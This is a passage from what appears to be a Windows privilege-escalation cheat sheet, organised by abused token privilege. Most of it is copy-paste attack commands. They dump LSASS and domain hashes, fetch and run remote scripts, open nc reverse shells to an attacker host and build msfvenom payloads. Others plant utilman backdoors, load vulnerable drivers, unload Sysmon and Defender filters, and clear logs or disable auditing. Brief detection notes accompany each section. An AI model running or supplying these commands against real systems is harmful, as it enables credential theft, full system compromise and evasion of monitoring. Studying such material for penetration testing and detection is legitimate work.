Parse dump on Kali - pypykatz (no Mimikatz needed) or mimikatz offline
pip3 install pypykatz pypykatz lsa minidump lsass.dmp REM Or with mimikatz offline: mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
💡 -ma = full memory dump (all regions). -64 = force 64-bit context on 64-bit OS (omit on 32-bit). -accepteula suppresses EULA prompt. Sysinternals-signed binary reduces AV suspicion vs. running mimikatz directly. Use pypykatz on Kali to parse - no Windows Mimikatz required.
⚡ Vector 2 - LSASS Dump via comsvcs.dll MiniDump (LOLBAS - zero extra tools)
1
One-liner from elevated PowerShell - no binary upload required
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id {{WPATH}}\\lsass.dmp full
2
Alternative - explicit PID if Get-Process is constrained
tasklist /fi "imagename eq lsass.exe" rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> {{WPATH}}\\lsass.dmp full
3
Parse dump on Kali
mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonpasswords
💡 Pure LOLBAS - comsvcs.dll ships on every Windows install and exposes MiniDump export (ordinal 24) via rundll32. No binary upload needed. Must run from elevated SeDebug process. Output is identical MiniDump format as procdump.
⚡ Vector 3 - Mimikatz direct in-memory dump (most complete credential output)
1
Upload mimikatz to target (use obfuscated/custom build for AV evasion)
iwr http://{{KALI_IP}}:{{PORT}}/windows/x64/mimikatz.exe -o {{WPATH}}\\m.exe
2
Enable SeDebugPrivilege and dump credentials - batch mode
{{WPATH}}\\m.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
3
Interactive mode
mimikatz # privilege::debug # Expected: Privilege '20' OK mimikatz # sekurlsa::logonpasswords full
HEAVY AV TRIGGER - mimikatz.exe is universally detected by signature. Use Invoke-Mimikatz (PowerShell in-memory), custom-obfuscated build, or the dump-then-parse workflow (Vectors 1/2) to avoid immediate endpoint detection.
⚡ Vector 4 - psgetsys.ps1: Steal SYSTEM token via parent process (no creds needed)
1
Load psgetsys.ps1 in-memory (decoder-it / splinter_code)
IEX (New-Object Net.WebClient).DownloadString('http://{{KALI_IP}}:{{PORT}}/scripts/psgetsys.ps1')
2
Find a SYSTEM-context process PID (winlogon.exe most reliable)
Get-Process winlogon | Select-Object Id # or: tasklist /fi "username eq nt authority\system"
3
Impersonate SYSTEM by inheriting the parent process token - spawn reverse shell
ImpersonateFromParentPid -ppid (Get-Process winlogon).Id -command "C:\Windows\System32\cmd.exe" -cmdargs "/c {{WPATH}}\\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd"
4
Kali: catch SYSTEM shell
nc -lvnp {{RPORT}}
💡 Mechanism: SeDebugPrivilege enables OpenProcess(PROCESS_ALL_ACCESS) on any PID. Script calls DuplicateTokenEx on winlogon's SYSTEM token then CreateProcessWithTokenW to spawn SYSTEM child. Full CLI syntax: ImpersonateFromParentPid -ppid <pid> -command <exe> -cmdargs <args>
🔗 Tool: github.com/decoder-it/psgetsystem - psgetsys.ps1 (PowerShell) and compiled .exe release both available.
⚡ Bonus - Task Manager GUI dump (no tools, requires RDP access)
1
Task Manager → Details tab → right-click lsass.exe → Create dump file
# Dump auto-saved to: C:\Users\<username>\AppData\Local\Temp\lsass.DMP # Parse: mimikatz # sekurlsa::minidump lsass.DMP # mimikatz # sekurlsa::logonpasswords
⚡ Vector 5 - Fileless / EDR-Evasive Methods (Nanodump, NativeDump)
procdump64 and comsvcs.dll are heavily signatured. For real engagements or AV-protected labs, use these alternatives that avoid MiniDumpWriteDump API calls entirely.
1
Nanodump (fortra) - indirect syscalls, --silent-process-exit mode
REM Transfer nanodump: iwr http://{{KALI_IP}}:{{PORT}}/windows/nanodump.exe -o {{WPATH}}\nd.exe REM Standard dump (avoids MiniDumpWriteDump via indirect syscalls): .\nd.exe --write {{WPATH}}\\lsass.dmp REM Silent-process-exit mode (WerFault triggers dump - very OPSEC safe): .\nd.exe --silent-process-exit {{WPATH}}\\lsass.dmp REM Parse dump on Kali: python3 -c "import base64" REM then: mimikatz sekurlsa::minidump lsass.dmp
2
NativeDump (ricardojoserf) - NTAPI-only, hand-crafted minidump, no MiniDumpWriteDump
REM Transfer NativeDump: iwr http://{{KALI_IP}}:{{PORT}}/windows/NativeDump.exe -o {{WPATH}}\nd2.exe REM Dump LSASS using only native APIs (NtReadVirtualMemory, NtQuerySystemInformation): .\nd2.exe REM Output: lsass.dmp in current directory REM Parse on Kali: pypykatz lsa minidump lsass.dmp
3
SafetyKatz - in-memory Mimikatz (no disk write)
REM Load Mimikatz reflectively in memory via .NET - no PE on disk: iwr http://{{KALI_IP}}:{{PORT}}/windows/SafetyKatz.exe -o {{WPATH}}\sk.exe .\sk.exe "sekurlsa::logonpasswords" "exit" REM Or via PowerShell: IEX (New-Object Net.WebClient).DownloadString('http://{{KALI_IP}}:{{PORT}}/scripts/Invoke-Mimikatz.ps1')
4
Parse any .dmp on Kali with pypykatz (no Mimikatz needed)
pip3 install pypykatz pypykatz lsa minidump lsass.dmp REM Or with mimikatz offline: mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
🔍 Detection
Event 4656 - handle to lsass.exe with access mask 0x1FFFFF • procdump.exe or rundll32+comsvcs.dll reading lsass memory • Sysmon Event 10 - process access on lsass.exe by non-SYSTEM/non-WerFault process • .dmp file created in Temp directories • Event 4672 SeDebugPrivilege assigned to new logon • Indirect syscall patterns (nanodump) • NtReadVirtualMemory called on lsass.exe by unexpected process (NativeDump)
Who Has It
Backup Operators group members
Primary Attack
diskshadow VSS → NTDS.dit (DC) or robocopy /b (local)
Result
All domain NTLM hashes → DA PTH
DLLs Required
SeBackupPrivilegeCmdLets.dll + SeBackupPrivilegeUtils.dll
Evil-WinRM caveat: Evil-WinRM network logon tokens may strip SeBackupPrivilege from the session. Verify with whoami /priv. If the privilege shows Disabled or is absent, use the PSRemoting workaround in Vector 3, or drop to a cmd shell via winrs -r:TARGET cmd.
⚡ Vector 1 - diskshadow VSS (Domain Controller / NTDS.dit)
💡 Use on a DC. NTDS.dit is locked by the NTDS service at runtime - a VSS shadow copy is required. CRITICAL: the .dsh script MUST use Windows CRLF line endings. diskshadow silently fails on Unix LF files.
1
Create pwn.dsh with Windows CRLF line endings (PowerShell)
Set-Content -Path {{WPATH}}\\pwn.dsh -Encoding ASCII -Value "set context persistent nowriters`r`nadd volume c: alias pwn`r`ncreate`r`nexpose %pwn% z:`r`n"
1b
Alternative: create pwn.dsh via cmd.exe (printf with explicit CRLF)
# PowerShell (preferred - guarantees CRLF that diskshadow requires): [System.IO.File]::WriteAllText("{{WPATH}}\\pwn.dsh", "set context persistent nowriters`r`nadd volume c: alias pwn`r`ncreate`r`nexpose %pwn% z:`r`n")
2
Run diskshadow to create VSS snapshot and expose as drive Z:
diskshadow /s {{WPATH}}\\pwn.dsh
3
Import SeBackupPrivilege DLLs (upload both to target first)
Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll REM ORDER MATTERS: Utils FIRST (provides base functions), CmdLets SECOND (depends on Utils)
4
Copy NTDS.dit from shadow copy using backup semantics
Copy-FileSeBackupPrivilege z:\Windows\NTDS\ntds.dit {{WPATH}}\\ntds.dit -Overwrite
5
Save SYSTEM hive (required to decrypt NTDS.dit)
reg save HKLM\SYSTEM {{WPATH}}\\system.hiv
6
Exfil both files to Kali, dump all domain hashes offline
# Kali: impacket-secretsdump -ntds ntds.dit -system system.hiv LOCAL
⚡ Vector 2 - robocopy /b (SAM hive dump, no extra tools needed)
💡 Use on a local (non-DC) box. robocopy /B uses backup semantics natively - no DLLs or diskshadow required. Requires both SeBackupPrivilege and SeRestorePrivilege (both automatically granted to Backup Operators). Yields local user NTLM hashes.
1
Copy SAM, SYSTEM, SECURITY hives using robocopy backup mode
robocopy /b C:\Windows\System32\config {{WPATH}} SAM SYSTEM SECURITY
1b
Alternative if robocopy fails - reg save directly
reg save HKLM\SAM {{WPATH}}\\sam.hiv reg save HKLM\SYSTEM {{WPATH}}\\system.hiv reg save HKLM\SECURITY {{WPATH}}\\security.hiv
2
Exfil to Kali, dump local hashes offline
# Kali: impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
⚡ Vector 3 - Evil-WinRM privilege caveat + PSRemoting workaround
Evil-WinRM may strip privileges: Network logon sessions from Evil-WinRM may not carry the full privilege token, causing SeBackupPrivilege and SeRestorePrivilege to appear Disabled. This is a WinRM network-logon token-filtering behavior.
1
Workaround - loopback PSSession (creates interactive token)
$sess = New-PSSession -ComputerName localhost -Credential (Get-Credential) Enter-PSSession $sess # Verify: whoami /priv | findstr SeBackupPrivilege
2
Alternative - winrs (Windows Remote Shell, carries full token)
winrs -r:{{TARGET}} cmd
3
Verify privilege is active before running attacks
whoami /priv | findstr /i "SeBackup SeRestore" # Must show: SeBackupPrivilege Back up files and directories Enabled
⚡ Vector 4 - Direct reg save (local box, elevated context)
1
Save all three critical registry hives
reg save HKLM\SAM {{WPATH}}\\sam.hiv reg save HKLM\SYSTEM {{WPATH}}\\system.hiv reg save HKLM\SECURITY {{WPATH}}\\security.hiv
2
Exfil to Kali, dump local + cached domain creds
# Kali: impacket-secretsdump -sam sam.hiv -system system.hiv -security security.hiv LOCAL
🔍 Detection
VSS snapshot creation (Event 8222) • diskshadow.exe executed with /s script argument • File read from shadow copy path • NTDS.dit or SAM/SYSTEM read with backup semantics (Event 4656) • robocopy.exe accessing C:\Windows\System32\config • reg.exe save on SAM/SYSTEM/SECURITY hives (Event 4663)
Who Has It
Backup Operators, restore service accounts
Primary Attack
SeRestoreAbuse.exe - modifies Seclogon ImagePath via REG_OPTION_BACKUP_RESTORE
Result
SYSTEM shell
Tool Type
Compiled EXE - NOT a PS module, no Import-Module
SeRestoreAbuse is a compiled EXE, not a PowerShell module. Do NOT use Import-Module. There is no Enable-SeRestorePrivilege function - that does not exist in SeRestoreAbuse. The tool abuses REG_OPTION_BACKUP_RESTORE to modify the Seclogon service ImagePath registry key, triggers the service to run your payload as SYSTEM, then restores the original value.
⚡ Vector 1 - SeRestoreAbuse.exe (cleanest - arbitrary SYSTEM command execution)
💡 SeRestoreAbuse.exe uses REG_OPTION_BACKUP_RESTORE to overwrite the Seclogon service ImagePath with your command, starts the service as SYSTEM, then restores the original registry value. No permanent file modification.
1
Upload SeRestoreAbuse.exe, verify SYSTEM execution works
.\SeRestoreAbuse.exe "cmd /c whoami > {{WPATH}}\\out.txt" type {{WPATH}}\\out.txt # Expected: nt authority\system
2
Set up listener on Kali
# Kali: nc -lvnp {{RPORT}}
3
Fire reverse shell via SeRestoreAbuse.exe
.\SeRestoreAbuse.exe "cmd /c {{WPATH}}\\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd"
BAK
💾 BACKUP - run this BEFORE placing the payload
.\SeRestoreAbuse.exe "cmd /c copy C:\Windows\System32\utilman.exe {{WPATH}}\\utilman.exe.bak" REM Backup utilman.exe using SeRestoreAbuse itself (bypass ACL for the backup too)
4
Alternative: stage payload from SMB share first
.\SeRestoreAbuse.exe "cmd /c copy \\{{KALI_IP}}\share\shell.exe C:\Windows\System32\utilman.exe"
↩ REVERT - one-liner restore (run after exploitation)
.\SeRestoreAbuse.exe "cmd /c copy /Y {{WPATH}}\\utilman.exe.bak C:\Windows\System32\utilman.exe" REM Restores original Ease of Access utility
⚡ Vector 2 - utilman.exe swap (requires active RDP session)
💡 Replaces utilman.exe (Ease of Access) with cmd.exe. On the RDP lock screen, pressing Win+U spawns a SYSTEM cmd instead of Ease of Access. Requires an active RDP session to the target.
BAK
💾 BACKUP - run this BEFORE placing the payload
.\SeRestoreAbuse.exe "cmd /c copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.exe.bak" REM Creates utilman.exe.bak in System32 - used by the REVERT step below
1
Overwrite utilman.exe with cmd.exe via SeRestoreAbuse
.\SeRestoreAbuse.exe "cmd /c copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe"
2
Lock the RDP session, trigger SYSTEM cmd at lock screen
# In RDP: press Windows + L to lock the session # At the lock screen: press Win+U or click the Ease of Access icon # cmd.exe spawns as NT AUTHORITY\SYSTEM
↩ REVERT - restore utilman.exe after exploitation
.\SeRestoreAbuse.exe "cmd /c copy /Y C:\Windows\System32\utilman.exe.bak C:\Windows\System32\utilman.exe"
⚡ Vector 3 - Overwrite service binary + restart (no RDP needed)
💡 Overwrite a vulnerable service binary with a reverse shell payload using SeRestoreAbuse.exe, then restart the service. Service runs as SYSTEM. No RDP required.
1
Identify a stoppable service running as SYSTEM
sc qc VulnService # Check: SERVICE_START_NAME = LocalSystem, BINARY_PATH_NAME = writable path
BAK
💾 BACKUP - run this BEFORE placing the payload
.\SeRestoreAbuse.exe "cmd /c copy \"C:\Program Files\VulnService\service.exe\" {{WPATH}}\service.exe.bak" REM Backs up the original service binary before overwriting
2
Stop service, overwrite binary with your payload
sc stop VulnService .\SeRestoreAbuse.exe "cmd /c copy {{WPATH}}\shell.exe C:\Program Files\VulnService\service.exe"
3
Start listener on Kali
# Kali: nc -lvnp {{RPORT}}
4
Start the service to trigger payload execution
sc start VulnService
↩ REVERT - one-liner restore (run after exploitation)
sc stop VulnService .\SeRestoreAbuse.exe "cmd /c copy /Y {{WPATH}}\service.exe.bak \"C:\Program Files\VulnService\service.exe\"" sc start VulnService REM Service restored to original binary
🔍 Detection
Write to C:\Windows\System32\ by non-SYSTEM process (Event 4663) • utilman.exe, sethc.exe, or osk.exe modified (Event 4656) • Seclogon service ImagePath changed in registry (Event 4657 - HKLM\SYSTEM\CurrentControlSet\Services\seclogon\ImagePath) • Service binary overwrite followed by immediate restart • REG_OPTION_BACKUP_RESTORE flag in kernel registry audit log
Who Has It
Admins, sometimes delegated svc accounts
Attack
Own file → add write ACE → replace binary
Result
SYSTEM (via svc binary or reg key)
Key Targets
utilman.exe, sethc.exe, SAM registry key, service binaries
🔴 ALWAYS backup the original file before replacing it! Replacing a system binary without backup can break the machine and is irreversible without re-imaging.
⚡ Method 1 - Built-in tools: takeown + icacls (no extra tools needed)
SeTakeOwnership
takeown /f file
icacls /grant F
Replace binary
Win+U on RDP
SYSTEM shell
BAK
💾 BACKUP - run BEFORE placing the payload
copy C:\Windows\System32\utilman.exe {{WPATH}}\\utilman.exe.bak
2
Take ownership of the target file
takeown /f C:\Windows\System32\utilman.exe
3
Grant yourself full control
icacls C:\Windows\System32\utilman.exe /grant "%USERNAME%":F
4
Replace with cmd.exe (Ease of Access backdoor)
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
5
Trigger: RDP → lock screen → press Win+U
# On RDP session: lock screen (Win+L), then click Ease of Access (Win+U) # You get a SYSTEM cmd.exe prompt without logging in
↩ REVERT - one-liner restore (run after exploitation)
copy /Y {{WPATH}}\\utilman.exe.bak C:\Windows\System32\utilman.exe REM Restores original Ease of Access binary (run this after getting SYSTEM shell)
⚡ Method 2 - PowerShell SetOwner (more reliable for complex ACLs)
1
Take ownership via PowerShell
$file = "C:\Windows\System32\utilman.exe" $acl = Get-Acl $file $owner = [System.Security.Principal.NTAccount]"$env:USERDOMAIN\$env:USERNAME" $acl.SetOwner($owner) Set-Acl $file $acl
2
Then grant FullControl
$acl = Get-Acl $file $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( "$env:USERNAME","FullControl","Allow") $acl.AddAccessRule($rule) Set-Acl $file $acl
⚡ Method 3 - Take ownership of SAM registry key → dump local hashes
1
Own the SAM hive key via PowerShell
$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey( "SAM", [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree, [System.Security.AccessControl.RegistryRights]::TakeOwnership) $acl = $key.GetAccessControl() $acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERNAME") $key.SetAccessControl($acl)
2
Now grant read access and dump with reg save
reg save HKLM\SAM {{WPATH}}\\sam reg save HKLM\SYSTEM {{WPATH}}\\system # Kali: impacket-secretsdump -sam sam -system system LOCAL
⚡ Method 4 - Service Binary Replacement (SYSTEM without RDP)
When no RDP access is available (Methods 1-3 need lock screen), target a SYSTEM service binary instead. Take ownership, grant write, replace the binary with your payload, restart the service.
1
Find a SYSTEM service with a replaceable binary
wmic service where "StartName='LocalSystem'" get Name,PathName,State | findstr /i "stopped\|running" REM Target a stopped or restartable service
BAK
💾 BACKUP - run BEFORE replacing the service binary
copy "C:\Program Files\VulnSvc\svc.exe" {{WPATH}}\\svc.exe.bak takeown /f "C:\Program Files\VulnSvc\svc.exe" icacls "C:\Program Files\VulnSvc\svc.exe" /grant "%USERNAME%":F
3
Generate and transfer nc64-based reverse shell or adduser exe, then copy over binary
REM Kali: generate reverse shell EXE msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f exe -o svc.exe REM Or: adduser-style payload (no listener needed): msfvenom -p windows/x64/exec CMD="net user hacker P@ssw0rd1 /add && net localgroup administrators hacker /add" -f exe -o svc.exe REM Transfer to target and replace: iwr http://{{KALI_IP}}:{{PORT}}/windows/svc.exe -o {{WPATH}}\\svc.exe copy /Y {{WPATH}}\\svc.exe "C:\Program Files\VulnSvc\svc.exe"
4
Start listener on Kali (if reverse shell), then restart service
nc -lvnp {{RPORT}} REM On target: sc stop VulnSvc sc start VulnSvc REM Shell arrives as SYSTEM
↩ REVERT - one-liner restore (run after exploitation)
sc stop VulnSvc copy /Y "{{WPATH}}\\svc.exe.bak" "C:\Program Files\VulnSvc\svc.exe" sc start VulnSvc REM Original service binary restored
Detection
Event 4670 - permissions on object changed • Event 4663 - write access on system binaries • takeown.exe execution • icacls modifying System32 files • Ownership change on system binaries or registry keys • utilman.exe / sethc.exe hash change • Service binary hash change (Sysmon Event 1)
Who Has It
Print Operators (automatic); some delegated service accounts
Attack
Load vulnerable kernel driver via EOPLOADDRIVER → exploit driver → SYSTEM
Alt Attack
fltMC unload - remove minifilter AV/EDR drivers without reboot
Result
NT AUTHORITY\SYSTEM
⚡ Attack Flow
SeLoadDriver
EOPLOADDRIVER.exe
Load vuln .sys
Exploit driver
SYSTEM shell
⚡ Vector 1 - EOPLOADDRIVER + szkg64.sys (PREFERRED on modern Windows)
1
Download tools to target
iwr http://{{KALI_IP}}:{{PORT}}/windows/eoploaddriver_x64.exe -o {{WPATH}}\\eoploaddriver_x64.exe # szkg64.sys: Exploit-DB entry 45401 - place in ~/privesc-toolkit/windows/ before serving iwr http://{{KALI_IP}}:{{PORT}}/windows/szkg64.sys -o {{WPATH}}\\szkg64.sys # szkg64exploit.exe: compiled exploit binary for CVE-2018-15732 - github.com/padovah4ck/CVE-2018-15732 iwr http://{{KALI_IP}}:{{PORT}}/windows/szkg64exploit.exe -o {{WPATH}}\\szkg64exploit.exe
2
Load szkg64.sys via eoploaddriver_x64 - creates HKCU registry key and calls NtLoadDriver
{{WPATH}}\\eoploaddriver_x64.exe System\CurrentControlSet\MyService {{WPATH}}\\szkg64.sys
3
Exploit the loaded driver (CVE-2018-15732) - arbitrary write → SYSTEM token
# Run the szkg64 exploit binary against the loaded driver # Exploit overwrites _SEP_TOKEN_PRIVILEGES to elevate current token .\szkg64exploit.exe
4
Cleanup registry key after exploitation
reg delete HKLM\System\CurrentControlSet\Services\MyService /f REM NOTE: Windows 10 1803+ forbids NTLoadDriver from HKCU - the key is under HKLM\System\CurrentControlSet\Services\
💡 szkg64.sys (CVE-2018-15732) is preferred on Win10/11 22H2+ because Capcom.sys is on the Microsoft Vulnerable Driver Blocklist and will fail to load. EOPLOADDRIVER creates the registry key under HKCU (no admin registry write needed) and calls NtLoadDriver. Registry key path format: System\CurrentControlSet\<ServiceName>
⚡ Vector 2 - EOPLOADDRIVER + Capcom.sys + ExploitCapcom (LEGACY - blocked on modern Windows)
0
Download required tools to target (if not already present from Vector 1)
REM eoploaddriver (same as Vector 1): iwr http://{{KALI_IP}}:{{PORT}}/windows/eoploaddriver_x64.exe -o {{WPATH}}\\eoploaddriver_x64.exe REM Capcom.sys vulnerable driver (get from: github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys): iwr http://{{KALI_IP}}:{{PORT}}/windows/Capcom.sys -o {{WPATH}}\\Capcom.sys REM ExploitCapcom compiled binary with CLI args (fork of tandasat/ExploitCapcom): REM github.com/tandasat/ExploitCapcom OR k4sth4/SeLoadDriverPrivilege precompiled release: iwr http://{{KALI_IP}}:{{PORT}}/windows/ExploitCapcom.exe -o {{WPATH}}\\ExploitCapcom.exe
1
Load Capcom.sys vulnerable driver
{{WPATH}}\\eoploaddriver_x64.exe System\CurrentControlSet\CapService {{WPATH}}\\Capcom.sys
2
Run ExploitCapcom against the loaded driver to execute arbitrary command as SYSTEM
{{WPATH}}\\ExploitCapcom.exe EXPLOIT "{{WPATH}}\\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd"
3
Kali: catch SYSTEM shell
nc -lvnp {{RPORT}}
4
Cleanup registry key
reg delete HKLM\System\CurrentControlSet\Services\CapService /f REM HKLM - driver was loaded under HKLM\System\CurrentControlSet\Services\ (not HKCU on modern Windows)
CAPCOM.SYS IS BLOCKED - Microsoft added Capcom.sys to the Vulnerable Driver Blocklist enabled by default on Windows 11 22H2+ and patched Server 2022. NtLoadDriver will fail with STATUS_INVALID_IMAGE_HASH. Use szkg64.sys (Vector 1) on modern targets. Capcom still works on unpatched Win10 and older Server 2019.
🔗 Tool: github.com/tandasat/ExploitCapcom (original - command hardcoded in source, rebuild required) | Pre-compiled forks with CLI args available on GitHub.
⚡ Vector 3 - fltMC unload: Remove AV/EDR minifilter drivers (requires SeLoadDriver)
1
List loaded minifilter drivers to identify target
fltMC filters
2
Unload Sysmon monitoring driver (removes process/network event logging)
fltMC unload SysmonDrv
3
Unload Windows Defender minifilter (note: WdFilter protected by Tamper Protection on patched Win11)
fltMC unload WdFilter
💡 SeLoadDriverPrivilege is required to call FilterUnload (fltMC). Unloading SysmonDrv is reliably effective on unprotected machines. WdFilter will return error 0x801f0010 if Windows Defender Tamper Protection is enabled on Win11 22H2+. Use as a pre-step before executing further payloads.
🔍 Detection
Event 7045 - new service/driver installed • Event 4657 - registry key creation under HKLM\System\CurrentControlSet\Services\<ServiceName> (Win10 1803+) • Unsigned or blocklisted driver load attempt • fltMC.exe unloading security minifilter drivers • EOPLOADDRIVER.exe or ExploitCapcom.exe execution
Who Has It
Almost never delegated - extremely rare in the wild
Mechanism
SeTcb allows LsaLogonUser S4U logon → forge token with SYSTEM SID S-1-5-18
Attack
TcbElevation.exe [ServiceName] [CmdLine] → SYSTEM process
Result
NT AUTHORITY\SYSTEM
⚡ Attack - TcbElevation.exe (antonioCoco / splinter_code / decoder_it)
1
Download TcbElevation.exe (pre-compiled binary available at b4lisong repo)
iwr http://{{KALI_IP}}:{{PORT}}/windows/TcbElevation.exe -o {{WPATH}}\\TcbElevation.exe
2
Spawn SYSTEM reverse shell - CLI syntax: TcbElevation.exe [ServiceName] [CmdLine]
{{WPATH}}\\TcbElevation.exe syscvs "C:\Windows\System32\cmd.exe /c {{WPATH}}\\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd"
3
Kali: catch SYSTEM shell
nc -lvnp {{RPORT}}
4
Alternative: spawn SYSTEM cmd.exe interactively (RDP / local access)
{{WPATH}}\\TcbElevation.exe syscvs "C:\Windows\System32\cmd.exe"
💡 How it works: SeTcbPrivilege permits calling LsaLogonUser with an S4U (Service-For-User) logon type - no credentials required. This creates a SYSTEM-context logon session bearing SID S-1-5-18. TcbElevation uses SSPI hooks + LsaLogonUser to produce the token, then CreateProcessWithLogonW to run the target command as SYSTEM. The [ServiceName] argument is an arbitrary internal label - any string works. Confirmed working on PG Practice Symbolic machine.
⚡ Alternative - PsBits (gtworek/PSBits) - S4U Token via SeTcbPrivilege
1
Download PsBits to target (compile from source on Kali if needed)
REM PsBits provides Get-System with SeTcb/S4U method REM github.com/mgeeky/PackMyPayload for packaging OR compile PsBits.cs: iwr http://{{KALI_IP}}:{{PORT}}/windows/PsBits.exe -o {{WPATH}}\\PsBits.exe REM Source/binary: github.com/gtworek/PSBits (look in SeTcb* folder for compiled release) REM Source: github.com/gtworek/PSBits (PowerShell/C# privilege toolkit with SeTcb exploitation)
2
Execute PsBits to spawn SYSTEM shell
.\PsBits.exe "cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" REM Or simply spawn an interactive cmd: .\PsBits.exe cmd.exe
PSBits by gtworek is a PowerShell/C# collection of privilege exploitation tools. It includes SeTcbPrivilege PoCs and helpers. Use the compiled binaries from Releases or compile the C# source in Visual Studio.
💡 Rarity note: SeTcbPrivilege is almost never granted to regular accounts. Expect it on specialized service accounts, misconfigured Windows services, or CTF/exam environments. If you see it in whoami /priv - it is an instant SYSTEM escalation.
🔍 Detection
LsaLogonUser S4U call from non-SYSTEM process • Event 4624 logon type 5 (Service) for SYSTEM account created by unusual parent • Event 4672 SeTcbPrivilege assigned to new token • SYSTEM-integrity child process spawned by unusual parent • TcbElevation.exe or PsBits.exe execution
Who Has It
Almost never delegated - extremely rare even in CTF/exam environments
Mechanism
NtCreateToken syscall - forge a token with any SID (e.g. Administrators S-1-5-32-544)
CRITICAL Requirement
Also need SeImpersonate OR SeAssignPrimaryToken to APPLY the forged token
Result
Local Administrator / SYSTEM (if companion privilege present)
CRITICAL - SeCreateTokenPrivilege alone cannot escalate privileges. NtCreateToken forges a token, but to use it you MUST ALSO have:
SeImpersonatePrivilege → use ImpersonateLoggedOnUser to impersonate the forged token in the current thread, OR
SeAssignPrimaryTokenPrivilege → use CreateProcessAsUser / AssignPrimaryToken to assign the token to a new process.
Without one of these companion privileges, the forged token exists but cannot be applied to any thread or process.
⚡ Step 0 - Verify you have the required companion privilege
0
Check for companion privilege - you need at least one
whoami /priv | findstr /i "SeImpersonate SeAssignPrimary SeCreateToken" # If ONLY SeCreateTokenPrivilege is enabled - you cannot complete the escalation without another bug # If SeImpersonatePrivilege is also present - proceed with workflow below
⚡ Attack - PrivFu SeCreateTokenPrivilegePoC (daem0nc0re)
1
Download / compile SeCreateTokenPrivilegePoC from PrivFu
# No public precompiled binary - must compile from source: # git clone https://github.com/daem0nc0re/PrivFu → open PrivilegedOperations/SeCreateTokenPrivilegePoC.sln → Build Release x64 # Then serve and transfer: iwr http://{{KALI_IP}}:{{PORT}}/windows/SeCreateTokenPrivilegePoC.exe -o {{WPATH}}\\SeCreateTokenPrivilegePoC.exe
2
Run the PoC - calls NtCreateToken to forge a token with Administrators SID (S-1-5-32-544)
{{WPATH}}\\SeCreateTokenPrivilegePoC.exe
3
The PoC spawns a SYSTEM/Administrator shell using ImpersonateLoggedOnUser (requires SeImpersonate)
# If SeImpersonatePrivilege is present - the forged admin token is applied via ImpersonateLoggedOnUser # If SeAssignPrimaryTokenPrivilege is present - a new process is spawned via CreateProcessAsUser with the token
💡 Workflow: NtCreateToken → token with Administrators SID S-1-5-32-544 → ImpersonateLoggedOnUser (SeImpersonate) or AssignPrimaryToken (SeAssignPrimary) → elevated thread/process. PrivFu PoC binary name follows folder convention: SeCreateTokenPrivilegePoC.exe
⚡ Attack - poptoke (hatRiot/token-priv research suite)
1
Build poptoke from token-priv repo (research/reference code - not a turn-key binary)
# Clone: github.com/hatRiot/token-priv # Open poptoke/poptoke.sln in Visual Studio → Build → poptoke.exe # The SeCreateTokenPrivilege.cpp file contains the NtCreateToken PoC implementation
2
Run poptoke.exe - invokes SeCreateToken logic from SeCreateTokenPrivilege.cpp
{{WPATH}}\\poptoke.exe
💡 poptoke is a research suite, not a polished tool. It ships as C++ source only - you must compile it. The repo is primarily a reference for understanding how each privilege can be abused, not a ready-to-run exploit. Use PrivFu's SeCreateTokenPrivilegePoC for faster deployment.
🔗 Tools: github.com/daem0nc0re/PrivFu (SeCreateTokenPrivilegePoC - main tool) | github.com/hatRiot/token-priv (poptoke - research reference)
🔍 Detection
NtCreateToken syscall from non-SYSTEM process • Event 4672 SeCreateTokenPrivilege + SeImpersonatePrivilege assigned to same logon • ImpersonateLoggedOnUser followed by privileged operation • New process spawned with Admin token from unexpected parent • SeCreateTokenPrivilegePoC.exe or poptoke.exe execution
Who Has It
Security auditors, some svc accounts, Administrators
Primary Use
Log clearing (cover tracks), read SACL, audit policy reads
Result
Opsec improvement - not a direct privesc on its own
Chained With
Any privesc - clear logs after exploitation
⚡ Attacks
1
Clear Security, System, and Application event logs (cover tracks)
wevtutil cl Security wevtutil cl System wevtutil cl Application # Verify cleared: wevtutil gli Security
2
Read Security log - intel on what is being monitored
wevtutil qe Security /c:50 /rd:true /f:text # Look for: 4624 logons, 4720 account created, 4672 special logon wevtutil qe Security /c:20 /rd:true /f:text /q:"*[System[EventID=4625]]"
3
Read SACL (audit settings) on high-value objects
Get-Acl C:\Windows\System32\lsass.exe | Select-Object -ExpandProperty Audit # Also works on registry keys: (Get-Acl "HKLM:\SAM").Audit
4
Modify audit policy to stop generating logs for your actions
auditpol /set /subcategory:"Logon" /success:disable /failure:disable auditpol /set /subcategory:"Process Creation" /success:disable # Restore after: auditpol /set /subcategory:"Logon" /success:enable /failure:enable
5
Shrink Security log to near-zero (forces overwrite/flush of all existing entries)
REM Set Security log max size to 1 KB - forces immediate flush + rollover of existing events: wevtutil sl Security /ms:1 REM Restore to 20MB default when done: wevtutil sl Security /ms:20971520 REM Check current log size and max: wevtutil gli Security | findstr /i "maxSize\|fileSize\|numberOfLogRecords"
Opsec play: Before exploitation on a real engagement, use SeSecurityPrivilege to read what audit policies are active, then temporarily disable logging for your specific actions. wevtutil sl Security /ms:1 plus wevtutil cl Security is more thorough than clearing alone - the shrink flushes buffered entries that cl alone might miss. Re-enable/restore before leaving.
Detection
